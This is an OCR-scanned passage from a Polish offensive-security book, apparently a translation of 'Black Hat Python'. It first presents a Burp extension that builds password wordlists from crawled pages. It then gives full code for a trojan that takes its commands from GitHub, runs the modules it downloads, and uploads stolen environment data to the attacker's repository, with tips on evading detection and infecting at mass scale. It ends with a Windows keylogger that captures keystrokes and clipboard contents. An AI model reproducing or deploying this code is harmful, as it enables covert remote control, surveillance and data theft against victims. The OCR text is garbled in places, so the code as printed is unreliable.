identyczny z kodem ze skryptu bhp_bing.py. Tym razem znowu tworzymy me-
nu kontekstowe w interfejsie uzytkownika programu Burp. Jedyna nowos¢ jest
taka, ze zapisujemy liste slow w zbiorze set, dzieki czemu eliminujemy ryzyko
wystapienia duplikatéw stéw. Do inicjacji zbioru uzyli§my najpopularniejszego
hasta password @, tak aby je réwniez sprawdzi¢ na koncu listy.

Teraz dodamy kod pobierajacy wybrany ruch HTTP z programu Burp i za-
mieniajacy go w podstawowa liste stéw.

def wordlist_menu(self,event):

# pobranie informacji o tym, co klikngt uzytkownik
http_traffic = self.context.getSelectedMessages()

for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()
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self.hosts.add(host)
http_response = traffic.getResponse()

if http_response:
self.get_words(http_response)

self.display_wordlist()
return

def get words(self, http_response):
headers, body = http_response.tostring().split('\r\n\r\n', 1)

# pominigcie nietekstowych odpowiedzi
if headers.lower().find("content-type: text") == -1:
return

tag_stripper = TagStripper()
page_text = tag_stripper.strip(body)
words = re.findall("[a-zA-Z]\w{2,}", page_text)

for word in words:

# odfiltrowanie dlugich laiicuchéw
if len(word) <= 12:
self.wordlist.add(word.lower())

return

Pierwsza naszg czynnoscia jest definicja funkeji word1ist_menu do obslugi zda-
rzen klikniecia menu. Zapisuje ona nazwe hosta @ na pézniej, a potem pobiera
odpowiedz HTTP i przekazuje ja do funkcji get words @. Funkcja get_words
oddziela nagtéwek od tresci wlasciwej odpowiedzi i pilnuje, aby$my przetwarzali
tylko odpowiedzi tekstowe . Klasa TagStripper @ usuwa kod HTML z pozostalej
czesci tekstu strony. Przy uzyciu wyrazenia regularnego wyszukujemy wszystkie
stowa zaczynajace sie od liter, po ktérych znajduje sie przynajmniej jeden znak
»stowa” @. Na koniec litery w znalezionych stowach sa zamieniane na mate i stowa
te zostajg zapisane w zbiorze wordlist @.

Pozostalo jeszcze dodanie funkcji do dekorowania i wySwietlania haset.

def mangle(self, word):
year = datetime.now().year
suffixes = ["", "1", "I", year]
mangled = []

for password in (word, word.capitalize()):

for suffix in suffixes:
mangled.append("%s%s" % (password, suffix))
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return mangled
def display wordlist(self):
print "#!comment: lista stow dla strony: %s" % ", ".join(self.hosts)

for word in sorted(self.wordlist):
for password in self.mangle(word):
print password
return

Funkcja mangle pobiera stowo bazowe i generuje z niego kilka haset na pod-
stawie pewnych typowych kryteriéw. W tym przykladzie utworzylismy liste
przyrostkéw do dodania do stowa bazowego, np. roku @. Nastepnie za pomoca
petli przegladamy przyrostki i dodajemy do tego stowa kazdy z nich @, tworzac
w ten sposéb kilka haset. W drugiej petli robimy to samo dla stowa bazowego
z wszystkimi literami zamienionymi na wielkie. W funkcji display_wordlist
drukujemy komentarz w stylu programu John the Ripper ® z informacjg o stro-
nach, dla ktérych zostata wygenerowana dana lista stéw. Potem drukujemy wy-
niki. Czas sprawdzié, jak sie spisze nasza §licznotka.

Czy to w ogdle dziata

Otworz karte Extender i kliknij przycisk Add, a nastepnie postepuj w taki sam
spos6b jak w poprzednich przyktadach dodawania rozszerzen. Po zaladowaniu
rozszerzenia wejdz na strone http://testphp.vulmweb.com/.

Kliknij prawym przyciskiem serwis w okienku Site Map i kliknij opcje Spider
this host (przeszukaj tego hosta), jak pokazano na rysunku 6.12.

Po przejrzeniu przez program wszystkich stron docelowej witryny zaznacz
wszystkie zadania w prawym gérnym okienku, kliknij je prawym przyciskiem
myszy, aby wy$wietlié menu kontekstowe, i kliknij pozycje Utwdrz liste stow,
jak pokazano na rysunku 6.13.

Teraz przejdz na karte wynikéw rozszerzenia. Normalnie wyniki zapisaliby-
$my w pliku, ale dla celéw demonstracyjnych postanowilem wyswietlié¢ liste stow
w oknie programu Burp, jak wida¢ na rysunku 6.14.

Liste te mozna teraz wprowadzi¢ do narzedzia Burp Intruder, aby przepro-
wadzi¢ atak.

W rozdziale tym opisalem tylko niewielki wycinek mozliwosci interfejsu
API programu Burp. Przy jego uzyciu mozna na przyktad wygenerowaé¢ wlasny
rodzaj ataku oraz tworzy¢ rozszerzenia wspélpracujace z interfejsem uzytkow-
nika. Podczas wykonywania testéw penetracyjnych czesto trzeba rozwigzywaé
r6zne problemy i automatyzowaé pewne zadania. Interfejs API Extender pro-
gramu Burp jest doskonalym narzedziem pozwalajacym wydostaé sie z matni,
a przynajmniej umozliwiajacym unikniecie koniecznosci kopiowania i wklejania
danych z programu Burp do innego narzedzia.
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http:/ftestphp. vulnweb.com | Length | MIME type | Title | Comment Time requ..
4286 HTML Hame of Acunetix Art 21:25:01 1|4
4421 HTML ajax test 21:32:46 1
4421 HTML ajax test 21:32:47 1
529 HTML Ind 21:32:46 1
154862 HTML [ http:itestphp.vulnweb. com/ |21:32:48 1
17673 flash Add to scope 21:32:48 1
1158 HTML Remove from scope 21:32:46 1
o7l HTML Ind Spider selected items 21:32:47 1
4646 HTML arti oG L 21:32:46 1
5569 HTML arti i ;‘ i e I-t; i 21:32:47 1
5511 HTML arti ZVEsLan Hel \rEmE 21:32:47 1]y
-, Send to Comparer (requests) .
Send to Comparer (responses)
Request Utwarz liste show
Compare site maps
Raw Add comment
GET / HTTR/1.1 Highlight > LA\
Host: testphp.vulnweh Delete selected items
User-Agent: Mozillasg Copy selected URLs
Gecko/20140429 Firefqg Copy links in selected items
Accept: Save selected items
text/html, applicatio Site map help ¥
=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

DNT:

1

pe a search term

¥

0 matches

Rysunek 6.13. Wysytanie zqdar do rozszerzenia BHP Wordlist

Rozszerzanie narzedzi Burp
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Burp Intruder Repeater Window Help

Burp Suite Free Edition v1.6

[ Target | Proxy | spider | Scanner | intruder | RapeaterT Seq’uen(er [ pecoder | comparer | Extender | options | Alerts

J Extensions | BApp Store | APIs | Options |

Extensions let you customize Burp's behavior using your own or third-party code.

| Add Loaded | Type | Name

[ w

| Down J

5 @] Python bhp_fuzer.py

Remove =] Python BHP Bing

4] Python BHP Wordlist

[ Details [ output | Errors

() Output to system consale

() Save to file:

@ Show in Ul

welcome
welcomel
welcome!
welcome2014
Welcome
welcomel
Welcome!
welcome2014
were

werel

were!
were2014
Were

A

D ) () e

0 matches

Rysunek 6.14. Lista haset sporzgdzona na podstawie tresci witryny docelowej

Pokazalem tez, jak zbudowaé rozszerzenie zwiadowcze do programu Burp.
W obecnym stanie pobiera ono tylko 20 pierwszych wynikéw z wyszukiwarki
Bing, ale mozesz je zmieni¢ tak, aby znajdowalo wszystkie wyniki. Zeby to zrobic,
trzeba poczyta¢ troche dokumentacji API wyszukiwarki Bing i napisaé¢ troche
kodu do obstugi wiekszych zbioréw wynikéw. Potem za pomocg pajaka programu
Burp mozna przeszuka¢ wszystkie wykryte witryny i automatycznie poszukaé luk

w ich zabezpieczeniach!
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Centrum dowodzenia
GitHub

JEDNYM Z NAJWIEKSZYCH PROBLEMOW DO ROZWIAZANIA PRZY TWORZENIU
SZKIELETOWEGO SYSTEMU TROJANOW JEST ASYNCHRONICZNE KONTROLOWANIE,
AKTUALIZOWANIE I ODBIERANIE DANYCH OD WDROZONYCH IMPLANTOW. MUSIMY
mie¢ wzglednie uniwersalng metode wysylania kodu do zdalnych wiruséw. Taki
poziom elastycznosci jest potrzebny nie tylko po to, by méc kontrolowaé swoje
trojany, ale réwniez po to, by méc przechowywaé kod przeznaczony dla kon-
kretnych systeméw operacyjnych.

Cho¢ hakerzy wynalezli wiele pomystowych technik dowodzenia swoimi
produktami, np. przy wykorzystaniu IRC-a i Twittera, my uzyjemy ustugi, ktéra
stuzy wlasnie do przechowywania kodu. Uzyjemy portalu GitHub do przecho-
wywania konfiguracji implantéw i filtrowanych danych, jak réwniez wszystkich
moduléw potrzebnych implantom do dzialania. Ponadto pokaze Ci, jak zmody-
fikowa¢ mechanizm importu macierzystej biblioteki Pythona, tak aby po utwo-
rzeniu przez nas nowego modulu trojana nasze implanty automatycznie prébo-
waly go pobra¢ wraz ze wszystkimi bibliotekami zaleznymi wprost z naszego
repozytorium. Pamietaj, ze komunikacja z portalem GitHub jest poddawana
szyfrowaniu SSL i tylko nieliczne firmy aktywnie blokuja ruch z tego serwisu.



Nalezy podkreslié, ze do tych testéw uzyjemy publicznego repozytorium.
Jesli masz troche pieniedzy do wydania, to mozesz tez utworzyé repozytorium
prywatne, dzieki czemu ukryjesz swoje postepki przed wscibskimi. Ponadto
wszystkie moduly, informacje konfiguracyjne i dane mozna zaszyfrowa¢ przy
uzyciu par kluczy publicznych i prywatnych, o czym bedzie mowa w rozdziale 9.
Zaczynamy!

Tworzenie konta w portalu GitHub

Jesli nie masz jeszcze konta w portalu GitHub, to wejdz na strone GitHub.com
i sie zarejestruj, a nastepnie utworz nowe repozytorium o nazwie chapter?.
Potem musisz zainstalowa¢ biblioteke Pythona z API GitHub', aby méc zauto-
matyzowaé proces komunikacji z repozytorium. W tym celu wystarczy wykonaé
ponizsze polecenie w wierszu polecen:

pip install github3.py

Jesli nie masz jeszcze klienta git, to teraz go zainstaluj. Ja do pracy uzywam
systemu Linux, ale klient ten dziata na wszystkich platformach. Kolejna czynno-
$cig jest utworzenie struktury katalogéw w repozytorium. Wykonaj w wierszu
polecen ponizsze polecenia (odpowiednio je dostosuj, jesli uzywasz systemu
Windows):

$ mkdir trojan

$ cd trojan

$ git init

$ mkdir modules

$ mkdir config

$ mkdir data

$ touch modules/.gitignore

$ touch config/.gitignore

$ touch data/.gitignore

$ git add .

$ git commit -m "Dodanie struktury repozytorium dla trojana."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master

Utworzylismy podstawowg, strukture naszego repozytorium. Katalog config
zawiera pliki konfiguracyjne, ktére dla kazdego trojana bedg inne. Kazdy trojan
bedzie stuzyt do czegos innego, wiec musi pobiera¢ wlasny plik konfiguracyj-
ny. Katalog modules zawiera moduty do pobrania i wykonania przez trojana.

! Repozytorium, w ktérym przechowywana jest ta biblioteka, znajduje sie pod adresem https://github.com/

copitux/python-github3/.
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Zaimplementujemy specjalny hak importu, aby umozliwié¢ naszym trojanom im-
portowanie bibliotek wprost z naszego repozytorium GitHub. Przy okazji umoz-
liwi nam to przechowywanie w GitHub zewnetrznych bibliotek, dzieki czemu
nie bedziemy musieli od nowa kompilowaé trojana za kazdym razem, gdy ze-
chcemy dodaé nowe funkcje lub zaleznosci. Katalog data postuzy nam do prze-
chowywania zdobytych przez trojana danych, informacji z przechwytywania na-
ci$nieé klawiszy, zrzutéw ekranu itd. Teraz utworzymy kilka prostych moduléw
i przykladowy plik konfiguracyjny.

Tworzenie modutow

W dalszych rozdziatach nauczysz sie robi¢ brzydkie rzeczy przy uzyciu trojanéw,
np. rejestrowaé naciskane klawisze i robi¢ zrzuty ekranu. Ale na poczatek utwo-
rzymy kilka prostych moduléw, ktére bedg tatwe do przetestowania i wdrozenia.
Utworz nowy plik w katalogu modules, nazwij go dirlister.py i wpisz do niego
ponizszy kod:

import os
def run(**args):

print "[*] W module dirlister."
files = os.listdir(".")

return str(files)

Ten krotki fragment kodu zawiera definicje funkcji run tworzacej i zwracaja-
cej liste wszystkich plikéw znajdujacych sie w biezacym katalogu. Kazdy modut
powinien zawieraé funkcje run przyjmujaca zmienng liczbe argumentéw. Dzieki
temu kazdy modul mozna zaladowaé w taki sam sposéb, a jednoczesnie ma
sie mozliwo$é dostosowywania plikéw konfiguracyjnych przekazywanych do
moduléw.

Utworzmy jeszcze jeden modul, tym razem o nazwie environment.py.

import os

def run(**args):
print "[*] W module environment."
return str(os.environ)

Modut ten pobiera zmienne srodowiskowe ze zdalnej maszyny, na ktérej zain-
stalowany jest trojan. Teraz wyslemy ten kod do naszego repozytorium GitHub,
aby udostepni¢ go naszemu wirusowi. W wierszu polecen przejdz do gtéwnego
katalogu repozytorium i wykonaj ponizsze polecenia:
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$ git add .

$ git commit -m "Dodanie nowych modutow"
$ git push origin master

Username: ***x%*x%

Password: ***¥xkxk

Kod powinien zosta¢ wystany do repozytorium GitHub. Jesli chcesz sie
upewnié, to mozesz sie zalogowad i to sprawdzi¢! Dokladnie w ten sam sposéb
mozesz postepowac¢ przy pisaniu programéw w przysziosci. Utworzenie bar-
dziej zaawansowanych moduléw pozostawiam jako zadanie domowe do samo-
dzielnego wykonania. Jesli bedziesz mie¢ kilkaset wdrozonych trojanéw, mozesz
wysytaé nowe moduly do repozytorium GitHub i sprawdzaé, czy dobrze dzia-
taja, wlaczajac je w pliku konfiguracyjnym lokalnej wersji wirusa. W ten sposéb
wszystkie trojany przed wdrozeniem na zdalnej maszynie mozna przetestowac
w kontrolowanym $rodowisku.

Konfiguracja trojana

122

Chcemy mieé mozliwo$é zlecania naszemu trojanowi réznych zadan przez pe-
wien czas. W zwigzku z tym musimy jako$ sie z nim komunikowaé, aby poin-
formowaé go, ktére moduly ma uruchomié. Do tego celu wykorzystamy pliki
konfiguracyjne, przy uzyciu ktérych bedziemy tez mogli w razie potrzeby usy-
piaé trojana (nie dajac mu zadnych zadan). Kazdy wdrozony wirus powinien
mie¢ identyfikator odrézniajacy go od innych wiruséw, aby$my wiedzieli, skad
pochodzg przychodzace dane, oraz aby§my mogli kontrolowaé¢ kazdy wirus
osobno. Skonfigurujemy trojana tak, aby szukat w katalogu config pliku o nazwie
IDENTYFIKATOR json zawierajacego kod w formacie JSON, ktéry mozna prze-
konwertowaé na stownik Pythona. Format JSON umozliwia takze tatwg zmiane
ustawien konfiguracyjnych. Otworz katalog config i utwérz w nim plik o nazwie
abc.json z nastepujaca zawartoscia:

{

"module" : "dirlister"
}’
{

"module" : "environment"

}

Jest to prosta lista moduléw, ktére chcemy uruchamia¢ przez naszego trojana.
Pézniej pokaze, jak wezyta¢ ten dokument i wlaczaé moduly za pomocy iteracji
przez zawarte w nim opcje. Jesli zastanawiasz sie, jakie opcje bylyby przydatne
w modutach, to mozesz pomysleé o ustawianiu czasu wykonywania i liczby uru-
chomien oraz przekazywaniu argumentéw. Przejdz do wiersza poleceni i wykonaj
ponizsze polecenie w katalogu gléwnym repozytorium.
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$ git add .

$ git commit -m "Dodanie prostych opcji konfiguracji."
$ git push origin master

Username: ****¥x¥x

Password: ***x*¥xx*

Przedstawiony dokument konfiguracyjny jest bardzo prosty. Zawiera liste
stownikéw informujacych trojana, jakie moduly ma zaimportowa¢ i uruchomié.
Gdy bedziesz pracowaé nad systemem szkieletowym, mozesz dodaé jeszcze inne
ustawienia, jak np. metody wykradania danych, o ktérych jest mowa w rozdziale 9.
Skoro mamy pliki konfiguracyjne i proste moduty do wykonania, mozemy zacza¢
prace nad gléwna czescia trojana.

Budowa trojana komunikujacego sie
z portalem GitHub

Teraz utworzymy wlasciwego trojana, ktéry bedzie pobieral opcje konfiguracyjne
i kod do wykonania z portalu GitHub. Pierwsza czynnoscig jest napisanie mecha-
nizméw obstugujacych polaczenie, uwierzytelnianie i komunikacje z interfejsem
API GitHub. Utworz plik o nazwie git_trojan.py i wpisz do niego ponizszy kod:

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import Togin

©® trojan_id = "abc

no

trojan_config = "%s.json" % trojan_id

data_path = "data/%s/" % trojan_id
trojan_modules= []

task_queue = Queue.Queue()
configured = False

Jest to prosty kod z podstawowa, konfiguracjg i instrukcjami importujgcymi
niezbedne sktadniki, ktéry po skompilowaniu nie powinien mie¢ duzego rozmia-
ru. Napisalem, ze nie powinien, poniewaz wiekszosé plikéw binarnych Pythona
skompilowanych przy uzyciu narzedzia py2exe” ma okolo 7 MB. Jedyna godna

2 Narzedzie py2exe mozna znalez¢ na stronie http://www.py2exe.org/.
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blizszej uwagi rzecz to zmienna trojan_id @ zawierajaca identyfikator trojana.
Gdybys chcial rozwinaé ten program do rozmiaru botnetu, to przyda Ci sie
mozliwo$é generowania trojanéw, ustawiania ich identyfikatoréw, automatycz-
nego tworzenia plikéw konfiguracyjnych wysylanych do serwisu GitHub oraz
kompilowania trojanéw do postaci pliku wykonywalnego. Ale w tej ksigzce nie
opisuje metod tworzenia botnetéw. Uzyj swojej wyobrazni.

Teraz wyslemy kod do repozytorium GitHub.

def connect_to_github():
gh = Togin(username="blackhatpythonbook",password="justin1234")
repo = gh.repository("blackhatpythonbook","chapter7")
branch = repo.branch("master")

return gh,repo,branch
def get file contents(filepath):

gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()

for filename in tree.tree:
if filepath in filename.path:
print "[*] Znaleziono plik %s" % filepath
blob = repo.blob(filename. json data['sha'])
return blob.content

return None

def get_trojan_config():
global configured

config_json = get file contents(trojan_config)
config = json.loads (base64.b64decode(config_json))
configured = True

for task in config:

if task['module'] not in sys.modules:

exec("import %s" % task['module'])
return config
def store _module result(data):

gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"WiadomoS¢ o zatwierdzeniu",base64.

>b6dencode(data))

return
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Te cztery funkcje obstugujg podstawows komunikacje miedzy trojanem a ser-
wisem GitHub. Funkcja connect_to_github uwierzytelnia uzytkownika w repo-
zytorium i zapisuje biezace obiekty repo i branch dla innych funkcji. Pamietaj ze
w prawdziwym programie nalezaloby maksymalnie zaciemnié te procedure
uwierzytelniania. Ponadto warto rozwazyé, do czego kazdy trojan w repozytorium
ma dostep, tak aby jesli wirus zostanie wykryty, kto$ nie mégt go wykorzystaé do
usuniecia wszystkich zdobytych przez nas danych. Funkcja get file contents
stuzy do pobierania plikéw ze zdalnego repozytorium i odczytywania ich za-
warto$ci lokalnie. Przy jej uzyciu bedziemy wezytywaé opcje konfiguracyjne, jak
réwniez odczytywaé kod zrodtowy moduléw. Funkcja get_trojan_config stuzy
do pobierania z repozytorium dokumentéw konfiguracyjnych, zawierajgcych
wskazowki dotyczace tego, ktére moduly trojan ma uruchomié. I ostatnia funkcja,
store_module_result, wysyla zgromadzone dane na nasze konto. Teraz utworzymy
hak importu pozwalajacy importowaé zdalne pliki z repozytorium GitHub.

Hakowanie funkcji importu Pythona

Skoro dotartes do tej strony, to wiesz, ze do pobierania zewnetrznych bibliotek
do programéw w Pythonie stuzy instrukcja import. Podobna, ale nieco rozsze-
rzong funkcjonalno$é chcemy mieé tez w naszym trojanie. Méwige dokladnie;j,
chcemy sprawié, aby po pobraniu zalezno$ci (np. z uzyciem Scapy lub netaddr)
nasz trojan udostepnial dany modut wszystkim pozostalym modutom, ktére p6z-
niej dodamy. W Pythonie mozna modyfikowaé sposéb importowania modutéw,
tak ze jesli jakis modut nie zostanie znaleziony lokalnie, nastepuje wywolanie
klasy importowej, ktéra umozliwia pobranie potrzebnej biblioteki ze zdalnego
repozytorium. Nalezy tylko doda¢ wlasng klase do listy sys.meta path’. Zatem
teraz napiszemy wtlasng klase tadujaca zaleznosci. Jej kod Zrédlowy znajduje sie
ponizej:

class GitImporter(object):

def _init_ (self):
self.current_module_code = ""

def find_module(self,fullname,path=None):
if configured:
print "[*] Proba pobrania %s" % fullname
(1) new_library = get file _contents("modules/%s" % fullname)

if new_library is not None:
(2] self.current_module_code = base64.b64decode(new_Tibrary)
return self

return None

3 Na stronie http://xion.org.pl/2012/05/06/hacking-python-imporis/ znajduje sie doskonale objasnienie
tej techniki napisane przez Karola Kuczmarskiego.
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def load_module(self,name):

module = imp.new_module(name)
exec self.current_module_code in module. dict__
sys.modules[name] = module

200

return module

Za kazdym razem gdy interpreter prébuje zatladowaé niedostepny modul,
wykorzystana zostaje klasa GitImporter. Najpierw wywolywana jest funkcja
find_module, ktéra ma za zadanie zlokalizowaé¢ modul. Przekazujemy to wywo-
tanie do naszego tadowacza zdalnych plikéw @ i jesli dany plik znajduje sie
w naszym repozytorium, kodujemy jego zawartosé algorytmem base64 i zapi-
sujemy ja w naszej klasie @. Zwrot self oznacza dla interpretera Pythona, ze
znalezlismy modul i ze mozna wywolaé funkcje Toad module w celu jego zata-
dowania. Przy uzyciu macierzystego modutu imp najpierw tworzymy nowy pu-
sty obiekt modutu ®, a potem wstawiamy do niego kod pobrany z GitHub @.
Ostatnia czynno$cia jest dodanie utworzonego modutu do listy sys.modules @,
aby znajdowaty go kolejne instrukcje importu. Pozostalo nam juz tylko dokon-
czenie trojana i sprawdzenie, czy dziala.

def module_runner(module):
task_queue.put(1)
(1] result = sys.modules[module].run()

task_queue.get()

# Zapisuje wynik w repozytorium
(2] store_module_result(result)

return
# glowna petla trojana
® sys.meta_path = [GitImporter()]
while True:
if task_queue.empty():
(4] config = get_trojan_config()
for task in config:
(5] t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()

time.sTeep(random.randint(1,10))

time.sleep(random.randint(1000,10000))
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OSTRZEZENIE

Przed rozpoczeciem petli gléwnej aplikacji dodajemy do programu nasz im-
porter moduléw ©. Pierwsza czynnoScig jest pobranie pliku konfiguracyjnego
z repozytorium @, a nastepng — uruchomienie modutu w osobnym watku @.
W funkcji module_runner wywolujemy funkcje run modutu @, aby uruchomié
jego kod. Wynik dziatania modutu powinien byé zapisany w taficuchu, ktéry
przesytamy do naszego repozytorium @. Na koniec usypiamy program na losowa
ilos¢ czasu, aby zmyli¢ sieciowe algorytmy analizy wzoréw zachowan. Oczywiscie
aby ukry¢ swoje niecne intencje, mozna tez stworzyé troche ruchu do strony
Google.com i zrobi¢ kilka innych rzeczy. Teraz sprawdzimy, jak nasz trojan spi-
suje sie w praktyce!

Czy to w ogdle dziata

Bierzemy naszg $licznotke na przejazdzke w wierszu polecen.

Jesli w plikach lub zmiennych srodowiskowych przechowujesz poufne dane, to
pamietaj, ze w bezplatnym repozytorium GitHub bedq one widoczne dla catego
Swiata. Pamigtaj, Ze ostrzegatem — no i oczywiscie mozesz tez zastosowac tech-
niki szyfrowania opisane w rozdziale 9.

$ python git_trojan.py

[*] Znaleziono plik abc.json

[*] Proba pobrania dirlister

[*] Znaleziono plik modules/dirlister
[*] Proba pobrania environment

[*] Znaleziono plik modules/environment
[*] W module dirlister.

[*]1 W module environment.

Doskonale. Trojan polaczyl sie z moim repozytorium, pobrat plik konfigura-
cyjny oraz pobrat dwa moduly ustawione w tym pliku i uruchomit je.
Teraz wr6é do wiersza poleceti i wykonaj ponizsze polecenie:

$ git pull origin master

From https://github.com/blackhatpythonbook/chapter7
* branch master -> FETCH_HEAD

Updating f4d9cld..5225fdf

Fast-forward

data/abc/29008.data | 1 +

data/abc/44763.data | 1 +

2 files changed, 2 insertions(+), 0 deletions(-)
create mode 100644 data/abc/29008.data

create mode 100644 data/abc/44763.data

Znakomicie! Trojan przestal wyniki zwrécone przez nasze dwa moduly.
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Opisane rozwigzanie mozna rozszerzy¢ i udoskonalié na wiele sposob6w.
Na dobry poczatek warto zastosowaé szyfrowanie wszystkich modutéw, danych
konfiguracyjnych i wykradzionych informacji. Jesli zamierzasz dokonywaé in-
fekeji na masowa skale, musisz zautomatyzowaé zarzadzanie pobieraniem da-
nych, aktualizowanie plikéw konfiguracyjnych oraz tworzenie nowych trojanéw.
Przy dodawaniu kolejnych skladnikéw funkcjonalno$ci trzeba tez rozszerzy¢
mechanizm tadowania dynamicznych i skompilowanych bibliotek Pythona. Teraz
utworzymy kilka samodzielnych zadan trojana. Jako prace domowa pozostawiam
ich integracje z trojanem w GitHub.
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Popularne
zadania trojanow
w systemie Windows

WIEKSZOSC TROJANOW WYKONUJE PEWNE TYPOWE CZYNNOSCI, TAKIE JAK
REJESTROWANIE NACISKANYCH KLAWISZY, ROBIENIE ZRZUTOW EKRANU ORAZ
WYKONYWANIE KODU W KONSOLI W CELU DOSTARCZENIA INTERAKTYWNE] SES]I
dla takich narzedzi jak CANVAS czy Metasploit. W rozdziale tym opisuje wlasnie
techniki wykonywania tych czynnosci. Na zakoficzenie przedstawiam jeszcze
metody wykrywania piaskownicy w celu dowiedzenia sie, czy nasz program nie
jest wykonywany w srodowisku antywirusowym lub §ledczym. Moje moduly
bedzie mozna tatwo zmodyfikowaé i beda dziata¢ w naszym systemie szkieleto-
wym. W dalszym rozdzialach poznasz sposoby przeprowadzania atakéw typu
~czlowiek w przegladarce” oraz metody zwiekszania uprawnien. Zastosowanie
kazdej techniki wymaga pewnego wysitku i jest obarczone ryzykiem wykrycia
przez uzytkownika lub antywirus. Dlatego po wdrozeniu trojana zalecam stwo-
rzenie dokladnego modelu celu ataku, aby wszystkie nowe moduly méc testowac
we wlasnym srodowisku przed ich wystaniem do pracy. Na poczatek stworzymy
prosty program do rejestrowania naciskanych klawiszy.



Rejestrowanie naciskanych klawiszy

Rejestrowanie naciskanych przez uzytkownika klawiszy to jedna z najstarszych
sztuczek opisanych w tej ksigzce, ktéra wcigz jest stosowana z réznym powo-
dzeniem. Jej popularnosé wynika z tego, ze pozwala niezwykle efektywnie prze-
chwytywa¢ poufne informacje, takie jak dane poswiadczajace lub rozmowy.

Doskonatym narzedziem do przechwytywania wszystkich nacisnie¢ klawiszy
jest biblioteka Pythona o nazwie PyHook'. Wykorzystuje ona macierzysta funkcje
systemu Windows SetWindowsHookEx, ktéra pozwala na zainstalowanie zdefinio-
wanej przez uzytkownika funkcji, ktéra ma by¢ wywolywana dla okreslonych
zdarzen majacych miejsce w systemie. Rejestrujac uchwyt dla zdarzen klawia-
tury, mozna przechwyci¢ wszystkie zdarzenia nacisniecia klawisza w maszynie
docelowej. Dodatkowo dobrze jest wiedzieé, do jakiego procesu te zdarzenia sie
odnosza, aby méc zdoby¢ nazwy uzytkownika, hasta i inne cenne informacje.
Biblioteka PyHook zalatwia wszystkie niskopoziomowe sprawy, wiec nam pozo-
staje tylko dopisanie podstawowej logiki rejestratora klawiszy. Utworz wiec plik
o nazwie keylogger.py i wpisz do niego ponizszy kod:

from ctypes import *
import pythoncom
import pyHook

import win32clipboard

user32 = windll.user32
kernel32 = wind11.kernel32
psapi = wind11.psapi

current_window = None
def get_current_process():

# uchwyt do pierwszoplanowego okna
hwnd = user32.GetForegroundWindow()

# sprawdzenie identyfikatora procesu
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))

# zapisanie identyfikatora biezqcego procesu
process_id = "%d" % pid.value

# pobranie pliku wykonywalnego
executable = create string buffer("\x00" * 512)
h_process = kernel32.0penProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

! Biblioteke PyHook mozna pobraé ze strony http://sourceforge.net/projects/pyhook/.
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# odczytanie jego tytutu
window_title = create_string_buffer("\x00" * 512)
Tength = user32.GetWindowTextA(hwnd, byref(window title),512)

# wydruk nagtéwka, jesli jestesmy w odpowiednim procesie

print

print "[ PID: %s - %s - %s ]" % (process_id, executable.value,
Swindow_title.value)

print

# zamknigcie uchwytéw
kerne132.CloseHandle (hwnd)
kernel132.CloseHandle(h_process)

Utworzylismy kilka zmiennych pomocniczych i funkcje przechwytujacy ak-
tywne okno wraz z jego identyfikatorem procesu. Najpierw wywotujemy funkcje
GetForeGroundWindow @, ktéra zwraca uchwyt do aktywnego okna w docelowym
komputerze. Nastepnie przekazujemy ten uchwyt do funkcji GetWindowThread
>ProcessId @ w celu sprawdzenia identyfikatora procesu okna. P6zniej otwie-
ramy ten proces © i przy uzyciu otrzymanego uchwytu do procesu znajdujemy
nazwe pliku wykonywalnego tego procesu @. Ostatnig, czynno$cig jest pobranie
tekstu paska tytutu za pomocg funkeji GetWindowTextA @. Na koncu naszej funkcji
pomocniczej drukujemy wszystkie informacje @ w zgrabnej formie, aby dokladnie
widzied, ktére klawisze zostaly nacisniete w poszezeg6lnych procesach i oknach.
Teraz mozemy dodac¢ czesé gléwng naszego rejestratora.

def KeyStroke(event):
global current_window

# sprawdzenie, czy cel ataku zamkngt okna

if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()

# Jesli nacisnigto standardowy klawisz
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# Jesli nacisnigto skrot Ctrl-V, pobieramy wartos¢ ze schowka
# dodane przez Dana Frischa w 2014 r.
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[WKLEJ] - %s" % (pasted value),
else:
print "[%s]" % event.Key,
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# przekazanie wykonywania do nastepnego zarejestrowanego uchwytu
return True

# utworzenie i zarejestrowanie menedzera uchwytéw

0 ki = pyHook.HookManager ()
© k1.KeyDown = KeyStroke

# zarejestrowanie uchwytu i jego wykonywanie w nieskoriczonosé
® k1.HookKeyboard()

pythoncom.PumpMessages ()

To wszystko! Definiujemy nasz modut PyHook — HookManager @ i wigzemy
zdarzenie KeyDown z naszg funkcja zwrotng KeyStroke @. Nastepnie nakazujemy
bibliotece PyHook Sledzi¢ wszystkie naci$niecia klawiszy i kontynuowaé wyko-
nywanie. Gdy uzytkownik zaatakowanego komputera naci$nie jaki$ klawisz, zo-
stanie wywolana nasza funkcja KeyStroke z obiektem zdarzenia jako jedynym
parametrem. Pierwsza naszg czynno$cig bedzie sprawdzenie, czy uzytkownik
zmienil okno @, i jesli tak, pobieramy nazwe nowego okna oraz informacje o jego
procesie. Nastepnie sprawdzamy zdarzenie nacisniecia klawisza @ i jezeli wpisa-
ny znak nalezy do drukowalnego podzbioru zestawu ASCII, po prostu go dru-
kujemy. Jezeli zostal nacisniety klawisz specjalny (np. Shift, Ctrl lub Alt) albo
niestandardowy, pobieramy jego nazwe z obiektu zdarzenia. Ponadto spraw-
dzamy, czy uzytkownik wykonuje operacje wklejania @, i jesli tak, to zrzucamy
zawarto$¢ schowka. Funkcja zwrotna na koniec zwraca wartosé True, aby po-
zwoli¢ nastepnemu uchwytowi w faficuchu — jesli taki istnieje — przetwarzanie
zdarzenia. SprawdZmy, jak to dziata w praktyce!

Czy to w ogdle dziata
Mozemy bardzo tatwo przetestowaé nasz rejestrator. Wystarczy go uruchomi¢
